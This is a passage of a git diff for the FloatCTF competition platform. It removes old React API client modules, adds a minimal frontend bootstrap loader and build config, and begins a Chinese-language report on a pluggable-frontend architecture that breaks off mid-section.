res.data; - }, - getChallengeSets: async (): Promise> => { - const res = await service_api.get("/challenge_sets"); - return res.data; - }, - getChallengeSet: async ( - id: string, - ): Promise> => { - const res = await service_api.get(`/challenge_sets/${id}`); - return res.data; - }, -}; diff --git a/apps/web/src/api/service/discussions.ts b/apps/web/src/api/service/discussions.ts deleted file mode 100644 index 66af1eb5..00000000 --- a/apps/web/src/api/service/discussions.ts +++ /dev/null @@ -1,89 +0,0 @@ -import type { DiscussionComments, Discussions } from "@/entity"; -import { type QueryParams, type UniResponse, service_api } from "../axios"; - -/** - * 后端 GET /discussions 与 GET /discussions/{id} 返回的 DTO: - * discussions 表字段(serde flatten)+ 作者信息与当前用户点赞状态。 - */ -export type DiscussionWithAuthor = Discussions & { - author_nickname: string; - author_avatar?: string; - is_liked: boolean; -}; - -export const discussionServiceApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await service_api.get("/discussions", { params }); - return res.data; - }, - get: async (id: string): Promise> => { - const res = await service_api.get(`/discussions/${id}`); - return res.data; - }, - create: async (data: { - title: string; - content: string; - }): Promise> => { - const res = await service_api.post("/discussions", data); - return res.data; - }, - patch: async ( - data: Partial, - ): Promise> => { - const res = await service_api.patch(`/discussions/${data.id}`, data); - return res.data; - }, - remove: async (id: string): Promise> => { - const res = await service_api.delete(`/discussions/${id}`); - return res.data; - }, - like: async (id: string): Promise> => { - const res = await service_api.post(`/discussions/${id}/like`); - return res.data; - }, - unlike: async (id: string): Promise> => { - const res = await service_api.delete(`/discussions/${id}/like`); - return res.data; - }, - getComments: async ( - id: string, - params: QueryParams = {}, - ): Promise> => { - const res = await service_api.get(`/discussions/${id}/comments`, { - params, - }); - return res.data; - }, - createComment: async ( - discussion_id: string, - data: { content: string; parent_id?: string }, - ): Promise> => { - const res = await service_api.post( - `/discussions/${discussion_id}/comments`, - data, - ); - return res.data; - }, - patchComment: async ( - discussion_id: string, - comment_id: string, - data: { content: string }, - ): Promise> => { - const res = await service_api.patch( - `/discussions/${discussion_id}/comments/${comment_id}`, - data, - ); - return res.data; - }, - deleteComment: async ( - discussion_id: string, - comment_id: string, - ): Promise> => { - const res = await service_api.delete( - `/discussions/${discussion_id}/comments/${comment_id}`, - ); - return res.data; - }, -}; diff --git a/apps/web/src/api/service/events.ts b/apps/web/src/api/service/events.ts deleted file mode 100644 index d0974e0e..00000000 --- a/apps/web/src/api/service/events.ts +++ /dev/null @@ -1,123 +0,0 @@ -import type { InstancesDto as Instances } from "./instances"; -import type { - EventAnnouncements, - EventTeams, - EventUsers, -} from "@/entity"; -import type { EventInfo } from "@/routes/service/events"; -import type { EventChallengeResult } from "@/routes/service/events/jeopardy.$id/challenges"; -import type { EventInstanceResult } from "@/routes/service/events/jeopardy.$id/instances"; -import type { ScoreboardItem } from "@/routes/service/events/jeopardy.$id/scoreboard"; -import type { TrendItem } from "@/routes/service/events/jeopardy.$id/trend"; -import { type QueryParams, type UniResponse, service_api } from "../axios"; - -export const eventServiceApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await service_api.get("/events", { params }); - return res.data; - }, - join: async (event_id: string): Promise> => { - const res = await service_api.post(`/events/${event_id}/join`); - return res.data; - }, - leave: async (event_id: string): Promise> => { - const res = await service_api.delete(`/events/${event_id}/leave`); - return res.data; - }, - createTeam: async ({ - event_id, - name, - }: { - event_id: string; - name: string; - }): Promise> => { - const res = await service_api.post(`/events/${event_id}/team`, { - name, - }); - return res.data; - }, - joinTeam: async ({ - event_id, - team_id, - }: { - event_id: string; - team_id: string; - }): Promise> => { - const res = await service_api.post( - `/events/${event_id}/team/${team_id}/join`, - ); - return res.data; - }, - quitTeam: async ({ - event_id, - team_id, - }: { - event_id: string; - team_id: string; - }): Promise> => { - const res = await service_api.delete( - `/events/${event_id}/team/${team_id}`, - ); - return res.data; - }, - get: async (id: string): Promise> => { - const res = await service_api.get(`/events/${id}`); - return res.data; - }, - fetchChallenges: async ( - id: string, - params: QueryParams = {}, - ): Promise> => { - const res = await service_api.get(`/events/${id}/challenges`, { - params, - }); - return res.data; - }, - getChallengeInstance: async ( - event_id: string, - challenge_id: string, - ): Promise> => { - const res = await service_api.get( - `/events/${event_id}/challenges/${challenge_id}/instance`, - ); - return res.data; - }, - getInstances: async ( - event_id: string, - ): Promise> => { - const res = await service_api.get(`/events/${event_id}/instances`); - return res.data; - }, - launchSingleInstance: async ( - event_id: string, - challenge_id: string, - ): Promise> => { - const res = await service_api.post("/instances/launch", { - challenge_id, - event_id, - }); - return res.data; - }, - getScoreboard: async ( - event_id: string, - ): Promise> => { - const res = await service_api.get(`/events/${event_id}/scoreboard`); - return res.data; - }, - getTrend: async (event_id: string): Promise> => { - const res = await service_api.get(`/events/${event_id}/trend`); - return res.data; - }, - getAnnouncements: async ( - event_id: string, - ): Promise> => { - const res = await service_api.get(`/events/${event_id}/announcements`); - return res.data; - }, - getOwnWp: async (event_id: string): Promise> => { - const res = await service_api.get(`/events/${event_id}/own_wp`); - return res.data; - }, -}; diff --git a/apps/web/src/api/service/index.ts b/apps/web/src/api/service/index.ts deleted file mode 100644 index 2c8e4935..00000000 --- a/apps/web/src/api/service/index.ts +++ /dev/null @@ -1,10 +0,0 @@ -export { userServiceApi } from "./users"; -export { eventServiceApi } from "./events"; -export { challengeServiceApi } from "./challenges"; -export { instanceServiceApi } from "./instances"; -export { submitServiceApi } from "./submit"; -export { solveServiceApi } from "./solves"; -export { weaponsServiceApi } from "./weapons"; -export { announcementServiceApi } from "./announcements"; -export { uploadsServiceApi } from "./uploads"; -export { discussionServiceApi } from "./discussions"; diff --git a/apps/web/src/api/service/instances.ts b/apps/web/src/api/service/instances.ts deleted file mode 100644 index fadc0032..00000000 --- a/apps/web/src/api/service/instances.ts +++ /dev/null @@ -1,62 +0,0 @@ -import { type QueryParams, type UniResponse, service_api } from "../axios"; - -/** 选手侧挑战实例 DTO(GET /api/instances,与后端 InstancesDto 对齐)。 - * 归一化后为合并列表:challenge(挑战练习)与 gamebox(AWDP 练习)两类。 */ -export type InstancesDto = { - id: string; - status: string; - flag: string; - content: string | null; - /** 关联挑战;AWDP 练习实例为 null(用 run_id/gamebox_id 标识)。 */ - challenge_id: string | null; - event_id: string; - team_id?: string | null; - user_id: string; - identifier: string; - created_at: string; - updated_at: string; - destroy_at: string | null; - challenge_title?: string | null; - event_title?: string | null; - user_name?: string | null; - run_id?: string | null; - gamebox_id?: string | null; - gamebox_title?: string | null; -}; - -/** 兼容旧引用(实体型已拆分为 event_challenge_instance,DTO 字段才是接口返回)。 */ -export type Instances = InstancesDto; - -export const instanceServiceApi = { - launch: async (id: string): Promise> => { - const res = await service_api.post("/instances/launch", { - challenge_id: id, - }); - return res.data; - }, - launchSingle: async ( - challenge_id: string, - event_id: string, - ): Promise> => { - const res = await service_api.post("/instances/launch", { - challenge_id, - event_id, - }); - return res.data; - }, - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await service_api.get("/instances", { params }); - return res.data; - }, - destroy: async (id: string): Promise> => { - const res = await service_api.delete(`/instances/${id}`); - return res.data; - }, - /** 批量删除(复选框选中后):挑战实例销毁 / AWDP 实例停容器并移除行。 */ - bulkDelete: async (id_list: string[]): Promise> => { - const res = await service_api.delete("/instances", { data: { id_list } }); - return res.data; - }, -}; diff --git a/apps/web/src/api/service/solves.ts b/apps/web/src/api/service/solves.ts deleted file mode 100644 index ba136ddf..00000000 --- a/apps/web/src/api/service/solves.ts +++ /dev/null @@ -1,25 +0,0 @@ -import type { JeopardyChallengeSolves as ChallengeSolves } from "@/entity"; -import type { TopUser } from "@/routes/service/top"; -import { type QueryParams, type UniResponse, service_api } from "../axios"; - -/** - * 后端 GET /solves 返回的 DTO:challenge_solves 表字段(serde flatten)+ 解题者信息。 - */ -export type SolveResult = ChallengeSolves & { - nickname: string; - avatar?: string; - challenge_name: string; -}; - -export const solveServiceApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await service_api.get("/solves", { params }); - return res.data; - }, - getTop15Users: async (): Promise> => { - const res = await service_api.get("/solves/top15users"); - return res.data; - }, -}; diff --git a/apps/web/src/api/service/submit.ts b/apps/web/src/api/service/submit.ts deleted file mode 100644 index 6886cd54..00000000 --- a/apps/web/src/api/service/submit.ts +++ /dev/null @@ -1,59 +0,0 @@ -import type { JeopardyChallengeSolves as ChallengeSolves } from "@/entity"; -import { type UniResponse, service_api } from "../axios"; - -export const submitServiceApi = { - submit: async ({ - instance_id, - flag, - }: { - instance_id: string; - flag: string; - }): Promise> => { - const res = await service_api.post("/submit/flag", { - instance_id, - flag, - }); - return res.data; - }, - // #[derive(Debug, MultipartForm)] - // pub struct WriteupForm { - // #[multipart(limit = "1024MB")] - // writeup_pdf: TempFile, - // event_id: Text, - // team_id: Option>, - // } - submitWriteup: async ( - file: File, - event_id: string, - team_id?: string, - ): Promise> => { - const formData = new FormData(); - formData.append("writeup_pdf", file); - formData.append("event_id", event_id); - if (team_id) { - formData.append("team_id", team_id); - } - const res = await service_api.post("/submit/writeup", formData, { - headers: { - "Content-Type": "multipart/form-data", - }, - }); - return res.data; - }, - submitSingle: async ({ - event_id, - instance_id, - flag, - }: { - event_id: string; - instance_id: string; - flag: string; - }): Promise> => { - const res = await service_api.post("/submit/flag", { - event_id, - instance_id, - flag, - }); - return res.data; - }, -}; diff --git a/apps/web/src/api/service/uploads.ts b/apps/web/src/api/service/uploads.ts deleted file mode 100644 index 55dc230b..00000000 --- a/apps/web/src/api/service/uploads.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { type UniResponse, service_api } from "../axios"; - -export const uploadsServiceApi = { - upload_image: async (image_file: File): Promise> => { - const formData = new FormData(); - formData.append("image_file", image_file); - const res = await service_api.post("/uploads/image", formData, { - headers: { - "Content-Type": "multipart/form-data", - }, - }); - return res.data; - }, - upload_avatar: async (image_file: File): Promise> => { - const formData = new FormData(); - formData.append("image_file", image_file); - const res = await service_api.patch("/uploads/avatar", formData, { - headers: { - "Content-Type": "multipart/form-data", - }, - }); - return res.data; - }, -}; diff --git a/apps/web/src/api/service/users.ts b/apps/web/src/api/service/users.ts deleted file mode 100644 index d8a8f351..00000000 --- a/apps/web/src/api/service/users.ts +++ /dev/null @@ -1,73 +0,0 @@ -import type { Users } from "@/entity"; -import { type UniResponse, service_api } from "../axios"; - -export const userServiceApi = { - getMe: async (): Promise> => { - const response = await service_api.get("/users/me"); - return response.data; - }, - patchMe: async (data: Partial): Promise> => { - const response = await service_api.patch("/users/me", data); - return response.data; - }, - login: async ({ - username, - password, - }: { - username: string; - password: string; - }): Promise> => { - const response = await service_api.post("/users/session", { - username, - password, - }); - return response.data; - }, - register: async ({ - username, - password, - nickname, - email, - }: { - username: string; - password: string; - nickname: string; - email: string; - }): Promise> => { - const response = await service_api.post("/users", { - username, - password, - nickname, - email, - }); - return response.data; - }, - resetPassword: async ({ - username, - email, - }: { - username?: string; - email?: string; - }): Promise> => { - const response = await service_api.post("/users/reset_password", { - username, - email, - }); - return response.data; - }, - reset: async ({ - token, - password, - confirmed_password, - }: { - token: string; - password: string; - confirmed_password: string; - }): Promise> => { - const response = await service_api.post(`/users/reset?token=${token}`, { - password, - confirmed_password, - }); - return response.data; - }, -}; diff --git a/apps/web/src/api/service/weapons.ts b/apps/web/src/api/service/weapons.ts deleted file mode 100644 index d40cb0b0..00000000 --- a/apps/web/src/api/service/weapons.ts +++ /dev/null @@ -1,11 +0,0 @@ -import type { Weapons } from "@/entity/weapons"; -import { type QueryParams, type UniResponse, service_api } from "../axios"; - -export const weaponsServiceApi = { - fetch: async ( - params: QueryParams = {}, - ): Promise> => { - const res = await service_api.get("/weapons", { params }); - return res.data; - }, -}; diff --git a/apps/web/src/entity/index.ts b/apps/web/src/entity/index.ts deleted file mode 100644 index 44f5bb58..00000000 --- a/apps/web/src/entity/index.ts +++ /dev/null @@ -1,60 +0,0 @@ -export * from "./sea_orm_active_enums"; -export * from "./announcements"; -export * from "./awd_event_gameboxes"; -export * from "./awd_event_networks"; -export * from "./awd_events"; -export * from "./awd_flag_issues"; -export * from "./awd_flag_submissions"; -export * from "./awd_internal_token_rotations"; -export * from "./awd_judge_batches"; -export * from "./awd_judge_tasks"; -export * from "./awd_network_allocations"; -export * from "./awd_network_settings"; -export * from "./awd_orphan_resources"; -export * from "./awd_precheck_runs"; -export * from "./awd_reset_records"; -export * from "./awd_rounds"; -export * from "./awd_runtime_resources"; -export * from "./awd_score_events"; -export * from "./awd_team_bans"; -export * from "./awd_team_networks"; -export * from "./awd_wireguard_peers"; -export * from "./awdp_breaks"; -export * from "./awdp_evaluation_proofs"; -export * from "./awdp_evaluations"; -export * from "./awdp_event_gameboxes"; -export * from "./awdp_event_networks"; -export * from "./awdp_events"; -export * from "./awdp_fix_rounds"; -export * from "./awdp_instances"; -export * from "./awdp_patch_submissions"; -export * from "./awdp_run_writeups"; -export * from "./awdp_runs"; -export * from "./awdp_score_events"; -export * from "./challenge_set_items"; -export * from "./challenge_sets"; -export * from "./challenge_writeup"; -export * from "./challenges"; -export * from "./discussion_comments"; -export * from "./discussion_likes"; -export * from "./discussions"; -export * from "./event_announcements"; -export * from "./event_challenge_instance"; -export * from "./event_gamebox_instances"; -export * from "./event_instances"; -export * from "./event_logs"; -export * from "./event_team_members"; -export * from "./event_teams"; -export * from "./event_users"; -export * from "./event_writeup"; -export * from "./events"; -export * from "./gameboxes"; -export * from "./instance_endpoints"; -export * from "./jeopardy_challenge_solves"; -export * from "./jeopardy_event_challenges"; -export * from "./logs"; -export * from "./scheduled_tasks"; -export * from "./settings"; -export * from "./super_admin"; -export * from "./users"; -export * from "./weapons"; diff --git a/apps/web/src/lib/sse/index.ts b/apps/web/src/lib/sse/index.ts deleted file mode 100644 index ab6f5172..00000000 --- a/apps/web/src/lib/sse/index.ts +++ /dev/null @@ -1,9 +0,0 @@ -export { createSseParser } from "./parser"; -export type { SseEvent, SseParser } from "./parser"; -export { connectSse } from "./connectSse"; -export type { - ConnectSseOptions, - SseConnection, - SseConnectionState, - SseConnectionStatus, -} from "./connectSse"; diff --git a/apps/web/src/main.ts b/apps/web/src/main.ts new file mode 100644 index 00000000..f2eb6609 --- /dev/null +++ b/apps/web/src/main.ts @@ -0,0 +1,82 @@ +/** + * FloatCTF web bootstrap —— **不是 UI**。 + * + * 它只做"把已安装的前端加载起来"这件事,全部机制在 + * `@floatctf/frontend-runtime` 的 `bootstrapFrontend()` 里: + * + * ``` + * GET /api/frontend → 平台版本 / API 契约 / FRONTEND_ACTIVE / capabilities + * GET /__floatctf/frontends/registry.json → 本地已安装前端 + * → 客户端校验兼容性(runtime / API 契约 major) + * → 注入该前端的样式 + * → 动态 import 同源 ESM(/__floatctf/frontends///...) + * → frontend.mount(context) + * → 失败回退 default → 再失败渲染内置兜底页 + * ``` + * + * 刻意保持无框架、无 Primer、无路由、无状态库:bootstrap 越"无聊",它就越不会 + * 成为前端演进(甚至换成非 React 前端)的瓶颈。 + * + * 破窗恢复:`?frontend=default`。该参数**只**影响当前这次页面加载, + * 且只接受本地注册表里**已安装**的安全前端 ID —— 不写后端设置、不需要登录。 + */ + +import { + bootstrapFrontend, + renderBootstrapEmergencyUi, + type BootstrapDiagnostics, +} from "@floatctf/frontend-runtime"; + +const ROOT_ID = "app"; + +function readOverride(): string | null { + try { + return new URLSearchParams(window.location.search).get("frontend"); + } catch { + return null; + } +} + +function mount(): void { + const root = document.getElementById(ROOT_ID); + if (!root) { + // index.html 缺 #app 说明构建产物被篡改/损坏:直接给兜底页而不是白屏。 + renderBootstrapEmergencyUi(document.body, { + attempted: [], + errors: [`bootstrap: #${ROOT_ID} element is missing from index.html`], + }); + return; + } + // 清掉可能存在的构建期 loading 占位,保证前端挂到一个干净宿主上。 + root.textContent = ""; + + const override = readOverride(); + + void bootstrapFrontend({ + root, + overrideFrontendId: override, + // 兜底页接管整页(它会先清空宿主)。 + emergencyHost: document.body, + }) + .then((result) => { + if (!result.mounted) { + // bootstrapFrontend 已经渲染了兜底页;这里只在控制台留下诊断, + // 不额外暴露任何信息到页面上。 + console.error("[floatctf] frontend bootstrap failed", result.diagnostics); + } + }) + .catch((error: unknown) => { + // bootstrapFrontend 契约上不抛错;这一层只是防止"兜底页本身都失败"。 + const diagnostics: BootstrapDiagnostics = { + attempted: [], + errors: [error instanceof Error ? error.message : String(error)], + }; + renderBootstrapEmergencyUi(document.body, diagnostics); + }); +} + +if (document.readyState === "loading") { + document.addEventListener("DOMContentLoaded", mount, { once: true }); +} else { + mount(); +} diff --git a/apps/web/src/main.tsx b/apps/web/src/main.tsx deleted file mode 100644 index b5ae5b6b..00000000 --- a/apps/web/src/main.tsx +++ /dev/null @@ -1,75 +0,0 @@ -import { BaseStyles, ThemeProvider } from "@primer/react"; -import { RouterProvider, createRouter } from "@tanstack/react-router"; -import { StrictMode } from "react"; -import isPropValid from "@emotion/is-prop-valid"; -import { StyleSheetManager } from "styled-components"; -import ReactDOM from "react-dom/client"; -import * as TanStackQueryProvider from "./integrations/tanstack-query/root-provider.tsx"; -import { RouteLoading } from "./components/RouteLoading.tsx"; -import reportWebVitals from "./reportWebVitals.ts"; -// 导入生成的路由树 -import { routeTree } from "./routeTree.gen"; -import "./style.css"; -// 创建路由实例 - -const TanStackQueryProviderContext = TanStackQueryProvider.getContext(); -export const router = createRouter({ - routeTree, - context: { - ...TanStackQueryProviderContext, - }, - defaultPreload: "intent", - scrollRestoration: true, - defaultStructuralSharing: true, - defaultPreloadStaleTime: 0, - // 懒加载 chunk / loader 期间在内容区显示加载态,替代默认白屏。 - defaultPendingComponent: RouteLoading, - defaultPendingMs: 100, // 100ms 内完成的路由切换不闪烁加载态 - defaultPendingMinMs: 300, // 加载态至少展示 300ms,避免快速加载时闪一下 - // 路由加载失败 / 404 时给出提示,避免整页白屏。 - defaultErrorComponent: ({ error }: { error: Error }) => ( -
-

页面加载失败:{String(error)}

-
- ), - defaultNotFoundComponent: () => ( -
-

404 · 页面不存在

-
- ), -}); - -// 注册路由实例以获得类型安全 -declare module "@tanstack/react-router" { - interface Register { - router: typeof router; - } -} - -// 渲染应用 -const rootElement = document.getElementById("app"); -if (rootElement && !rootElement.innerHTML) { - const root = ReactDOM.createRoot(rootElement); - root.render( - - - typeof target !== "string" || isPropValid(propName) - } - > - - - - - - - - - - ); -} - -// 若要测量应用性能,可传入函数 -// 记录结果(例如:reportWebVitals(console.log)) -// 或发送到分析端点。详见 https://bit.ly/CRA-vitals -reportWebVitals(); diff --git a/apps/web/tsconfig.json b/apps/web/tsconfig.json index 17f98399..88bd1a38 100644 --- a/apps/web/tsconfig.json +++ b/apps/web/tsconfig.json @@ -1,29 +1,19 @@ { - "include": ["**/*.ts", "**/*.tsx"], + "include": ["src/**/*.ts"], + "exclude": ["dist", "node_modules"], "compilerOptions": { - "target": "ES2022", - "jsx": "react-jsx", "module": "ESNext", "lib": ["ES2022", "DOM", "DOM.Iterable"], "types": ["vite/client"], - - /* Bundler mode */ "moduleResolution": "bundler", - "allowImportingTsExtensions": true, "verbatimModuleSyntax": true, "noEmit": true, - - /* Linting */ "skipLibCheck": true, "strict": true, - "noUnusedLocals": false, - "noUnusedParameters": false, + "noUnusedLocals": true, + "noUnusedParameters": true, "noFallthroughCasesInSwitch": true, - "noUncheckedSideEffectImports": true, - "baseUrl": ".", - "paths": { - "@/*": ["./src/*"], - } + "noUncheckedSideEffectImports": true } } diff --git a/apps/web/vite.config.ts b/apps/web/vite.config.ts index 32443c52..995c6e80 100644 --- a/apps/web/vite.config.ts +++ b/apps/web/vite.config.ts @@ -1,45 +1,25 @@ -import { defineConfig } from "vite"; -import viteReact from "@vitejs/plugin-react"; -import tailwindcss from "@tailwindcss/vite"; -import pkg from "./package.json"; -import { TanStackRouterVite } from "@tanstack/router-plugin/vite"; -import { resolve } from "node:path"; +import { defineConfig } from "vitest/config"; -// https://vitejs.dev/config/ +/** + * Bootstrap 的构建配置**刻意保持最小**: + * 没有 React 插件、没有 Tailwind、没有路由插件、没有代码分割魔法。 + * 产物只有 `index.html` + 一个入口 JS —— 任何"bootstrap 悄悄带上默认前端" + * 的回归都会在体积和 `scripts/check-architecture.sh` 的产物断言上暴露。 + */ export default defineConfig({ - define: { - "import.meta.env.VITE_APP_VERSION": JSON.stringify(pkg.version), - }, - plugins: [ - // Vitest 下关闭路由代码分割:分割后的页面是懒加载组件, - // 单测里渲染路由页面会一直停在 Suspense fallback。开发/构建仍开启。 - TanStackRouterVite({ autoCodeSplitting: !process.env.VITEST }), - viteReact(), - tailwindcss(), - ], - - resolve: { - alias: { - "@": resolve(__dirname, "./src"), - }, - }, - server: { - // host: true 让 dev server 监听 0.0.0.0, - // 这样 Caddy 容器可通过 host-gateway (172.17.0.1:13000) 反向代理。 - host: true, - watch: { - ignored: ["**/routeTree.gen.ts"], // ← 加这 3 行 - }, - // 启动时预编译常用页面,避免开发时首次点击标签页要等编译。 - warmup: { - clientFiles: [ - "./src/routes/service/index.tsx", - "./src/routes/service/top.tsx", - "./src/routes/service/challenges/index.tsx", - "./src/routes/admin/index.tsx", - "./src/routes/admin/dashboard.tsx", - "./src/routes/admin/challenges.tsx", - ], - }, - }, + build: { + outDir: "dist", + emptyOutDir: true, + target: "esnext", + rollupOptions: { + output: { + entryFileNames: "assets/bootstrap-[hash].js", + chunkFileNames: "assets/[name]-[hash].js", + assetFileNames: "assets/[name]-[hash][extname]", + }, + }, + }, + test: { + environment: "node", + }, }); diff --git a/chore/pluggable-frontend-implementation-report.md b/chore/pluggable-frontend-implementation-report.md new file mode 100644 index 00000000..8fb94ab2 --- /dev/null +++ b/chore/pluggable-frontend-implementation-report.md @@ -0,0 +1,956 @@ +# FloatCTF Pluggable Frontend Implementation Report + +> 本报告对应本地分支 `ui` 上的实现(**未 push**)。 +> 架构文档:[docs/frontend/ARCHITECTURE.md](../docs/frontend/ARCHITECTURE.md)、 +> [DEVELOPING.md](../docs/frontend/DEVELOPING.md)、[ARTIFACT.md](../docs/frontend/ARTIFACT.md)。 + +--- + +## 1. Repository Snapshot + +| 项目 | 值 | +|---|---| +| 分支 | `ui`(本地 UI 开发分支,未 push) | +| base main commit | `5f3b1537c892fb17f69d3c82789e34261994c62a`(`git merge-base HEAD main` = `HEAD` 的起点) | +| 起始 HEAD | `5f3b153`(与 `main` 同一提交 → 干净地从当前 main 历史开出) | +| Phase 12 实现提交 | 7 个(Phase 12.1 之前,见 §21);当时已被推送到 `origin/ui`,远端 head = `70069e1d6765c8310680e2972d145c631c362b92` | +| Phase 12.1 closure 提交 | 见 §21 与下面的「Phase 12.1 Closure」;**全部只在本地**(未 push) | +| 工作树 | 除用户既有的 `chore/` 删除与未跟踪的 `.agents/`、`PROJECT-ANALYSIS.html` 外干净(会话开始时即如此,未触碰) | + +> 本报告**不记录包含它自己的那次提交的哈希**(自引用必然过期)。最终 HEAD 以 +> `git log` / agent 的最终答复为准;"是否已推送"以 `git log origin/ui..HEAD` 为准。 +| 变更规模 | 387 files changed, +7725 / −1516(相对 `main`,含最终文档提交前) | +| 文件迁移 | 275 renames / 10 deletions / 80 additions | + +**目录权威性**:远端不存在 `ui` 分支,本地 `ui` 就是权威;未做任何 reset/rebase/force checkout。 + +--- + +## 2. Architecture + +``` + FloatCTF Backend (apps/api) + │ REST / SSE / Bearer auth + ▼ + @floatctf/sdk ← packages/sdk + 框架无关:传输 / 错误模型 / 领域客户端 / DTO / fetch-SSE / 生成实体 + │ + ┌──────────────┴───────────────┐ + ▼ ▼ +@floatctf/react 非 React 前端(Vue / Svelte / Solid / 原生 TS) +packages/react 直接用 sdk,不需要 react 包 +可选 headless 绑定(无 UI) + │ + ▼ +Frontend implementation + ├── frontends/default 官方前端(当前完整 UI,随平台发布,受保护) + └── 外部仓库 第三方前端(独立仓库、独立框架、独立路由空间) + +@floatctf/frontend-runtime ← packages/frontend-runtime +制品 / 运行时契约(框架无关;不依赖 sdk / react / 任何 UI 库) + ▲ + │ +apps/web 极薄 bootstrap 引导页(无 React / 无 Primer / 无路由) +``` + +边界由 `scripts/check-architecture.sh` 失败即红地强制(7 条规则,见 §16)。 + +--- + +## 3. Packages + +### `@floatctf/sdk`(`packages/sdk`,134 文件) + +- **传输**:`createFloatCTFClient({ baseUrl, getUserToken, getAdminToken, onUnauthorized, onError })` + —— 认证 token 来源与 401 之后的 UI 反应**由调用方注入**;SDK 不 import router / Zustand / + localStorage,不导航。 +- **错误模型**:`FloatCTFError`(`httpStatus` / `code` / `platformMessage` / `kind` + (`http|platform|network|unknown`) / `original` / `unauthorized` / `displayMessage`), + 并保留 axios 兼容的 `response` 形态 —— **既有页面的错误处理一行都不用改**。 +- **协议**:`UniResponse` / `QueryParams` 原样透传后端 envelope,不发明第二套协议。 +- **领域客户端**:选手端 10 个模块 + 管理端 23 个模块 + AWD/AWDP/AWDP-Runs(含类型)。 +- **SSE**:fetch-based(Bearer 走 `Authorization` 头、绝不进 URL)、AbortController 生命周期、 + 指数退避 + 抖动、401/403 停止、429 处理、`Last-Event-ID`、连接状态、解析器帧边界。 +- **类型**:生成的 DB 实体走 `@floatctf/sdk/entity`(与 API DTO 分开入口,避免混淆); + 从路由页面反向 import 的 14 组 DTO 类型收敛到 `types/`。 +- 运行时依赖只有 `axios`。 + +### `@floatctf/react`(`packages/react`,18 文件) + +- 可选 headless 绑定:`createFloatCTFReact({ client, useUserToken, useAdminToken })` + 返回 `useAwdEventStream` / `useAdminAwdEventStream` / `useAwdpEventStream` / + `useAwdpRunStream` / 4 个 query options 工厂 / `invalidateAwdQueries` + key 常量。 +- 注入 token hook(`UseTokenSource`),因此**不绑定任何状态库**。 +- 非测试目录**没有 `.tsx`**、没有 CSS、没有 Primer、没有路由、没有页面(门禁强制)。 + +### `@floatctf/frontend-runtime`(`packages/frontend-runtime`,16 文件) + +- `parseFrontendManifest`(严格:未知字段拒绝、schemaVersion、安全 ID、semver、相对路径、 + 穿越/scheme 拒绝、整数 major 兼容性)。 +- `parseRegistry` / `resolveFrontend`(**显式 `currentVersion` 指针**,绝不按版本号排序挑选)。 +- `mount(context)` 契约 + `normalizeFrontendModule`(容忍 default/具名导出)。 +- `bootstrapFrontend()`(同源动态 import、样式注入、失败回退、兜底页)+ + `renderBootstrapEmergencyUi`(纯 DOM、真实诊断、无秘密)。 +- 零运行时依赖。 + +--- + +## 4. Bootstrap + +`apps/web` 现在只有一个 14.24 kB(gzip **5.07 kB**)的入口 + 极简 `index.html`: + +``` +GET /api/frontend → active_frontend / 版本 / capabilities +GET /__floatctf/frontends/registry.json → 本地已安装前端(no-store) +?frontend= → 破窗:只接受注册表里已安装的安全 ID +→ 兼容性校验(runtime / API 契约 major) +→ 注入样式(失败即移除) +→ 动态 import 同源 ESM +→ frontend.mount(context) +→ 失败回退 default → 再失败渲染内置兜底页 +``` + +产物断言:`scripts/check-architecture.sh` 检查 `apps/web` 源码与 `dist` 都不含 +`@floatctf/frontend-default` / React;实测 grep 为 0。 + +**开发模式**:`mise run dev` → `pnpm run build:packages` + `frontends/default` 的 Vite(:13000,HMR)。 +DEV 路径显式(`frontends/default/src/dev.tsx` + `index.html` 注释说明),生产 bootstrap +**完全不 import** 默认前端,因此不存在"不小心把默认前端打进引导产物"的可能。 + +--- + +## 5. Default Frontend Migration + +**结论:UI/UX 保持等价。** 迁移是"整目录 `git mv` + import 路径重写",页面/组件/样式/导航/ +Primer 用法未做任何重设计: + +- `apps/web/src/**`(286 文件)→ `frontends/default/src/**`; + 页面代码只改 import 来源(`@/api/axios`→`@floatctf/sdk`、`@/entity`→`@floatctf/sdk/entity`、 + `@/hooks/useAwdEventStream`→`@/api/react`),`@/` 相对别名语义不变。 +- UUID 路由、文件式路由树(TanStack Router)、布局、AWD/AWDP UX、Zustand 登录态 + (含既有 `auth-storage` localStorage 兼容)全部保留;**没有任何用户被登出**。 +- `main.tsx` 拆成 `router.tsx`(路由实例,前端自己拥有)+ `entry.tsx`(`mount(context)`), + 渲染树、Provider 顺序、单例 QueryClient、StrictMode、styled-components + `shouldForwardProp` 过滤器逐字保留。 + +**真实浏览器实测**(生产形态 Caddy + 真实 API + 真实数据,见 §18)暴露并修掉了一个真实回归: + +- **症状**:默认前端整页起不来,bootstrap 兜底页显示 `default: process is not defined`。 +- **根因**:Vite **lib 模式**刻意不替换第三方依赖(styled-components / mermaid)里的 + `process.env.*`(默认假设消费者会处理),而浏览器没有 `process`;旧 `apps/web` 是 + 普通 app 构建,所以从未暴露。 +- **修复**:`vite.config.ts` 的 `define` 显式替换 `process.env.NODE_ENV` / `process.env`, + 并加 `src/node-shim.ts`(`entry.tsx` 的第一个 import)兜底 Node 全局。 + 副作用是 **包体积下降**:共享 chunk 5.03 MB → 4.32 MB(gzip 1.23 → **1.08 MB**), + 因为 `NODE_ENV=production` 让开发分支被 DCE 掉。 +- 另外修掉选择器文案里漏出的 markdown `**`(已在构建产物中确认 0 处)。 +- **`process.env` 的替换必须只作用于构建**:`frontends/default/vite.config.ts` 与 + vitest 共用同一份配置,如果无条件下 `define`,测试环境里的 React 会被解析成 + **production** 构建,而 `React.act` 只在 development 构建里导出 → 66 个组件测试 + 全部报 `React.act is not a function`。已改为按 `process.env.VITEST` 分支: + 测试跑 development React,构建产物仍无 `process.env`(两条都已在真实产物/测试里确认)。 + +--- + +## 6. Backend Bootstrap API + +- `GET /api/frontend`(**未认证**,登录前必须可用 —— 登录 UX 属于所选前端)。 + 响应(实测): + +```json +{"code":0,"message":"OK","data":{ + "active_frontend":"default", + "platform_version":"1.0.0", + "api_contract_version":"1", + "frontend_runtime_version":"1", + "capabilities":["jeopardy","awd","awdp","discussions","writeups","web_terminal"] +},"meta":null} +``` + +- 只暴露 5 